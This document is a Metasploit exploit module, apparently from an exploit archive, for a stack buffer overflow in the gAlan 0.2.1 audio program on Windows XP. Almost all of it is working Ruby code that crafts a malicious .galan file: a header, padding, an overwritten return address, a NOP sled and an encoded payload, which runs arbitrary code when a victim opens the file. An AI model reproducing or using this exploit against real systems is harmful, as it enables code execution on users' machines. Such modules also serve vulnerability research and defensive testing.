gAlan 0.2.1 - Local Buffer Overflow (Metasploit) (2)

##
# $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
			'Description' => %q{
				This module exploits a stack buffer overflow in gAlan 0.2.1
			By creating a specially crafted galan file, an an attacker may be able
			to execute arbitrary code.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'Jeremy Brown <0xjbrown41 [at] gmail.com>',
					'loneferret',
				],
			'Version' => '$Revision: 10477 $',
			'References' =>
				[
					[ 'OSVDB', '60897' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload' =>
				{
					'Space' => 1000,
					'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], 		# 0x100175D0 call esi @ glib-1_3
				],
			'Privileged' => false,
			'DisclosureDate' => 'Dec 07 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']),
			], self.class)
	end


	def exploit

		sploit = "Mjik"
		sploit << rand_text_alpha_upper(1028)
		sploit << [target.ret].pack('V')
		sploit << "\x90" * 45
		sploit << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)

	end

end